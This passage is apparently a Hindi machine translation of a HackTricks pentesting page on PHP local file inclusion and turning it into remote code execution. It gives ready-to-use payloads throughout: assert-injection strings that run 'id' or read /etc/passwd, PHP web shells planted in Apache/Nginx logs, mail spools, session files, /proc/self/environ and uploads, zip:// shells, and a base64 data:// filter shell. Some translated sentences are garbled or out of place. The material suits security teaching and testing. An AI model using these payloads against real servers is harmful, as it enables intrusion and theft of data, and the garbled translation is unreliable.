यहाँ और भी यहाँ समाहित करने के लिए संभावित प्रोटोकॉल** जांचें:**

  • php://memory और php://temp — मेमोरी में या एक अस्थायी फ़ाइल में लिखें (यह कैसे एक फ़ाइल समावेशन हमले में उपयोगी हो सकता है, इसके बारे में स्पष्ट नहीं है)
  • file:// — स्थानीय फ़ाइल प्रणाली तक पहुँचना
  • http:// — HTTP(s) URL तक पहुँचना
  • ftp:// — FTP(s) URL तक पहुँचना
  • zlib:// — संपीड़न स्ट्रीम
  • glob:// — पैटर्न से मेल खाने वाले पथनाम खोजें (यह कुछ भी प्रिंट करने वाला नहीं है, इसलिए यहाँ वास्तव में उपयोगी नहीं है)
  • ssh2:// — सुरक्षित शैली 2
  • ogg:// — ऑडियो स्ट्रीम्स (विशिष्ट फ़ाइलें पढ़ने के लिए उपयोगी नहीं)
assert("strpos('$file', '..') === false") or die("");

जबकि यह ट्रावर्सल को रोकने का उद्देश्य रखता है, यह अनजाने में कोड इन्जेक्शन के लिए एक वेक्टर बना देता है। फ़ाइल सामग्री पढ़ने के लिए इसका शोषण करने के लिए हमलावर निम्नलिखित का उपयोग कर सकता है:

' and die(highlight_file('/etc/passwd')) or '

उसी तरह, अनियमित सिस्टम कमांड्स को निष्पादित करने के लिए कोई भी इस्तेमाल कर सकता है:

' and die(system("id")) or '

ये payloads URL-encode करना महत्वपूर्ण है।

HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

हैकिंग इंसाइट्स
हैकिंग के उत्साह और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें

रियल-टाइम हैक न्यूज़
रियल-टाइम न्यूज़ और अंदरूनी दृष्टिकोण के माध्यम से हैकिंग विश्व के साथ अप-टू-डेट रहें

नवीनतम घोषणाएँ
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें

Discord पर हमारे साथ जुड़ें और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

PHP ब्लाइंड पथ ट्रावर्सल

{% hint style="warning" %} यह तकनीक उस स्थितियों में महत्वपूर्ण है जहाँ आप नियंत्रण करते हैं PHP फ़ंक्शन के फ़ाइल पथ को जो एक फ़ाइल को एक्सेस करेगा लेकिन आप फ़ाइल की सामग्री को नहीं देखेंगे (जैसे एक साधारण कॉल करना file()) लेकिन सामग्री नहीं दिखाई देगी। {% endhint %}

इस अविश्वसनीय पोस्ट में यह व्याख्या की गई है कि PHP फ़िल्टर के माध्यम से एक ब्लाइंड पथ ट्रावर्सल को कैसे दुरुपयोग किया जा सकता है ताकि एक त्रुटि ओरेकल के माध्यम से एक फ़ाइल की सामग्री को बाहर निकाला जा सके

सारांश में, तकनीक यह है कि "UCS-4LE" इन्कोडिंग का उपयोग करके एक फ़ाइल की सामग्री को इतनी बड़ी बनाया जाता है कि फ़ाइल को खोलने वाला PHP फ़ंक्शन एक त्रुटि ट्रिगर करेगा।

फिर, पहले वर्ण को लीक करने के लिए फ़िल्टर dechunk का उपयोग किया जाता है साथ ही अन्य जैसे base64 या rot13 और अंत में फ़िल्टर convert.iconv.UCS-4.UCS-4LE और convert.iconv.UTF16.UTF-16BE का उपयोग किया जाता है ताकि अन्य वर्णों को शुरू में रखा जा सके और उन्हें लीक किया जा सके।

संभावित रूप से विकल्पशील फ़ंक्शन: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (केवल इसके साथ केवल टारगेट पढ़ने के लिए), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

तकनीकी विवरण के लिए उल्लिखित पोस्ट की जाँच करें!

LFI2RCE

रिमोट फ़ाइल समावेश

पहले समझाया गया, इस लिंक का पालन करें

Apache/Nginx लॉग फ़ाइल के माध्यम से

यदि Apache या Nginx सर्वर LFI के लिए विकल्पशील हैं तो आप /var/log/apache2/access.log या /var/log/nginx/access.log तक पहुँचने की कोशिश कर सकते हैं, यूज़र एजेंट या GET पैरामीटर में एक PHP शैल जैसे <?php system($_GET['c']); ?> डालें और उस फ़ाइल को समाविष्ट करें।

{% hint style="warning" %} ध्यान दें कि यदि आप शैल के लिए डबल कोट्स का उपयोग करते हैं तो उन डबल कोट्स को स्ट्रिंग "quote;" के लिए संशोधित किया जाएगा, PHP वहाँ त्रुटि फेंकेगा और कुछ भी नहीं चलेगा

इसके अलावा, सुनिश्चित करें कि आप पेलोड को सही ढंग से लिखें या PHP हर बार जब वह लॉग फ़ाइल लोड करने की कोशिश करता है तो त्रुटि फेंकेगा और आपको दूसरा मौका नहीं मिलेगा। {% endhint %}

यह अन्य लॉग में भी किया जा सकता है लेकिन सावधान रहें, लॉग में दी गई कोड URL इन्कोड किया जा सकता है और यह शैल को नष्ट कर सकता है। हेडर ऑथराइज़ेशन "बेसिक" में "उपयोगकर्ता:पासवर्ड" Base64 में होता है और यह लॉग में डिकोड होता है। PHPShell इस हेडर के अंदर डाला जा सकता है।
अन्य संभावित लॉग पथ:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

ईमेल के माध्यम से

एक मेल भेजें एक आंतरिक खाते (user@localhost) को जिसमें आपका PHP पेलोड शामिल है जैसे <?php echo system($_REQUEST["cmd"]); ?> और कोशिश करें कि उपयोगकर्ता के मेल को शामिल करें एक पथ के साथ जैसे /var/mail/<USERNAME> या /var/spool/mail/<USERNAME>

/proc/*/fd/* के माध्यम से

  1. बहुत सारे शैल अपलोड करें (उदाहरण के लिए: 100)
  2. शामिल करें http://example.com/index.php?page=/proc/$PID/fd/$FD, $PID = प्रक्रिया का PID (ब्रूट फोर्स किया जा सकता है) और $FD फ़ाइल डिस्क्रिप्टर है (यह भी ब्रूट फोर्स किया जा सकता है)

/proc/self/environ के माध्यम से

एक लॉग फ़ाइल की तरह, पेलोड को यूज़र-एजेंट में भेजें, यह /proc/self/environ फ़ाइल में प्रतिबिंबित होगा

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

अपलोड के माध्यम से

यदि आप एक फ़ाइल अपलोड कर सकते हैं, तो उसमें शैल पेलोड इंजेक्ट करें (उदा. : <?php system($_GET['c']); ?> )।

http://example.com/index.php?page=path/to/uploaded/file.png

ज़िप फ़ाइल अपलोड के माध्यम से

एक ज़िप फ़ाइल अपलोड करें जिसमें एक PHP शैल संकुचित हो और पहुंचें:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHP सत्र के माध्यम से

जांचें कि वेबसाइट PHP सत्र (PHPSESSID) का उपयोग करती हैं

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP में ये सेशन /var/lib/php5/sess\[PHPSESSID]_ फ़ाइलों में स्टोर किए जाते हैं।

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

चूंकि यह एक वेब अनुक्रमणिका है, इसलिए यह एक अत्यंत महत्वपूर्ण सुरक्षा संदेश है। कृपया इसे ध्यान से पढ़ें और इसे अपने वेब अनुक्रमणिका के सुरक्षा सुनिश्चित करने के लिए उपयोग करें।

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

एलएफआई का उपयोग करें ताकि PHP सत्र फ़ाइल को समाहित किया जा सके।

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

माध्यम से ssh

यदि ssh सक्रिय है तो जांचें कि कौन सा उपयोगकर्ता उपयोग किया जा रहा है (/proc/self/status & /etc/passwd) और <HOME>/.ssh/id_rsa तक पहुंचने का प्रयास करें।

Via vsftpd logs

FTP सर्वर vsftpd के लॉग /var/log/vsftpd.log पर स्थित हैं। उस स्थिति में जहां एक स्थानीय फ़ाइल समावेशन (LFI) दुरुपयोग संभावना है, और एक उजागर vsftpd सर्वर तक पहुंच संभव है, तो निम्नलिखित कदम विचार किए जा सकते हैं:

  1. लॉगिन प्रक्रिया के दौरान उपयोगकर्ता फ़ील्ड में एक PHP पेलोड इंजेक्ट करें।
  2. इंजेक्शन के बाद, LFI का उपयोग करके /var/log/vsftpd.log से सर्वर लॉग्स प्राप्त करें।

Via php base64 filter (using base64)

इस लेख में दिखाया गया है कि PHP base64 फ़िल्टर केवल गैर-बेस64 को नजरअंदाज करता है। आप इसका उपयोग फ़ाइल एक्सटेंशन जांच को उम्मीदवार बनाने के लिए कर सकते हैं: यदि आप बेस64 प्रदान करते हैं जो ".php" के साथ समाप्त होता है, और यह बस "." को नजरअंदाज करेगा और "php" को बेस64 में जोड़ देगा। यहाँ एक उदाहरण पेलोड है:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

PHP फ़िल्टर के माध्यम से (कोई फ़ाइल की आवश्यकता नहीं)

इस writeup में विवरण दिया गया है कि आप php फ़िल्टर का उपयोग करके विभाजन के लिए अनियमित सामग्री उत्पन्न कर सकते हैं। जिसका मतलब है कि आप फ़ाइल में लिखने की आवश्यकता नहीं है, आप सम्मिलित के लिए अनियमित php कोड उत्पन्न कर सकते हैं।

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

सेगमेंटेशन फॉल्ट के माध्यम से

एक फ़ाइल अपलोड करें जो /tmp में अस्थायी रूप से संग्रहीत होगी, फिर एक ही अनुरोध में, एक सेगमेंटेशन फॉल्ट ट्रिगर करें, और फिर अस्थायी फ़ाइल मिटाई नहीं जाएगी और आप इसे खोज सकते हैं।

{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

Nginx अस्थायी फ़ाइल संग्रहण

यदि आपने स्थानीय फ़ाइल समावेशन पाया है और Nginx PHP के सामने चल रहा है तो आप निम्नलिखित तकनीक के साथ RCE प्राप्त कर सकते हैं:

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

PHP_SESSION_UPLOAD_PROGRESS के माध्यम से

यदि आपने स्थानीय फ़ाइल समावेशन पाया है भले ही आपके पास एक सत्र न हो और session.auto_start Off है। यदि आप मल्टीपार्ट POST डेटा में PHP_SESSION_UPLOAD_PROGRESS प्रदान करते हैं, तो PHP आपके लिए सत्र सक्षम कर देगा। आप इसका दुरुपयोग करके RCE प्राप्त कर सकते हैं:

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

Windows में अस्थायी फ़ाइल अपलोड के माध्यम से

यदि आपने स्थानीय फ़ाइल समावेशन पाया है और सर्वर Windows में चल रहा है तो आप RCE प्राप्त कर सकते हैं:

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

phpinfo() के माध्यम से (file_uploads = on)

यदि आपने स्थानीय फ़ाइल समावेशन पाया है और एक फ़ाइल phpinfo() को उजागर कर रही है जिसमें file_uploads = on है, तो आप RCE प्राप्त कर सकते हैं:

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

compress.zlib + PHP_STREAM_PREFER_STUDIO + पथ विवरण

यदि आपने स्थानीय फ़ाइल समावेशन पाया है और आप अस्थायी फ़ाइल का पथ निकाल सकते हैं लेकिन सर्वर यह जांच रहा है कि सम्मिलित की जाने वाली फ़ाइल में PHP मार्क्स हैं तो आप इस Race Condition के साथ उस जांच को छलना करने की कोशिश कर सकते हैं:

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

अनंत प्रतीक्षा + ब्रूटफ़ोर्स के माध्यम से

यदि आप LFI का दुरुपयोग करके अस्थायी फ़ाइलें अपलोड कर सकते हैं और सर्वर को PHP क्रियान्वयन में फंसा सकते हैं, तो आप फिर घंटों तक अस्थायी फ़ाइलें खोजने के लिए फ़ाइल नामों का ब्रूटफ़ोर्स कर सकते हैं:

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

फेटल त्रुटि के लिए

यदि आप /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar में से किसी भी फ़ाइल को सम्मिलित करते हैं। (आपको उसी को 2 बार सम्मिलित करने की आवश्यकता है ताकि उस त्रुटि को फेंक सकें)।

मुझे नहीं पता कि यह कितना उपयोगी है लेकिन यह हो सकता है।
यदि आप PHP फेटल त्रुटि का कारण बनाते हैं, तो PHP अस्थायी रूप से अपलोड की गई फ़ाइलें हटा दी जाती हैं।

संदर्भ

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

हैकिंग इंसाइट्स
हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें

रियल-टाइम हैक समाचार
रियल-टाइम समाचार और अंतर्दृष्टि के माध्यम से तेज़ गति से बदलती हैकिंग दुनिया के साथ अप-टू-डेट रहें

नवीनतम घोषणाएं
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें

हमारे साथ जुड़ें Discord और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

शून्य से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके: